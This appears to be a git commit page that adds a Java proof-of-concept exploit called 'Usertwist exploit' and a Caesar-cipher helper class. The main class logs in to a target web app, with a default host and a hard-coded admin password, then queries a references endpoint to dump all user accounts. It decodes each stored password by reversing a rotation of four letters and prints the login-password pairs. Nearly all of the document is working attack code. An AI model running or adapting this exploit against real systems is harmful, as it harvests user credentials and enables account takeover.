First commit
This commit is contained in:
74
src/fr/motysten/usertwist/exploit/Main.java
Normal file
74
src/fr/motysten/usertwist/exploit/Main.java
Normal file
@@ -0,0 +1,74 @@
|
||||
package fr.motysten.usertwist.exploit;
|
||||
|
||||
import fr.motysten.usertwist.exploit.tools.Cesar;
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
|
||||
public class Main {
|
||||
|
||||
public static String link = "https://poc.athelas.fr";
|
||||
public static String username = "admin";
|
||||
public static String password = "AdminSecret1C";
|
||||
|
||||
public static void main(String[] args) throws IOException, InterruptedException {
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
|
||||
|
||||
System.out.println("Usertwist exploit by Motysten");
|
||||
String readLine;
|
||||
|
||||
System.out.println("Please enter the URL to attack (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {link = readLine;}
|
||||
|
||||
System.out.println("Please enter the used username (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {username = readLine;}
|
||||
|
||||
System.out.println("Please enter the password (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {password = readLine;}
|
||||
|
||||
HttpClient client = HttpClient.newHttpClient();
|
||||
|
||||
JSONObject requestJSON = new JSONObject();
|
||||
requestJSON.put("username", username);
|
||||
requestJSON.put("password", password);
|
||||
|
||||
HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login"))
|
||||
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
JSONObject responseObject = new JSONObject(response.body());
|
||||
String token = responseObject.optString("token");
|
||||
|
||||
requestJSON = new JSONObject();
|
||||
requestJSON.put("term", "");
|
||||
requestJSON.put("entity", "users");
|
||||
|
||||
request = HttpRequest.newBuilder(URI.create(link + "/references"))
|
||||
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
|
||||
.setHeader("Authorization", "Bearer " + token)
|
||||
.build();
|
||||
|
||||
response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
JSONArray usersArray = new JSONArray(response.body());
|
||||
|
||||
for (int i = 0; i < usersArray.length(); i++) {
|
||||
JSONObject user = usersArray.getJSONObject(i);
|
||||
String login = user.getString("username");
|
||||
String password = Cesar.cesarRotate(user.getString("data"), -4);
|
||||
|
||||
System.out.println(login + " => " + password);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
34
src/fr/motysten/usertwist/exploit/tools/Cesar.java
Normal file
34
src/fr/motysten/usertwist/exploit/tools/Cesar.java
Normal file
@@ -0,0 +1,34 @@
|
||||
package fr.motysten.usertwist.exploit.tools;
|
||||
|
||||
public class Cesar {
|
||||
|
||||
public static String cesarRotate(String input, int offset) {
|
||||
|
||||
String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
|
||||
if (offset < 0) {
|
||||
LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString();
|
||||
offset = -offset;
|
||||
}
|
||||
String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
|
||||
|
||||
StringBuilder output = new StringBuilder();
|
||||
|
||||
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char newChar = input.charAt(i);
|
||||
if (!Character.isDigit(input.charAt(i))) {
|
||||
int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
|
||||
int newPos = (pos + offset) % 26;
|
||||
if (Character.isUpperCase(input.charAt(i))) {
|
||||
newChar = UPPER_ALPHABET.charAt(newPos);
|
||||
} else {
|
||||
newChar = LOWER_ALPHABET.charAt(newPos);
|
||||
}
|
||||
}
|
||||
output.append(newChar);
|
||||
}
|
||||
|
||||
return output.toString();
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user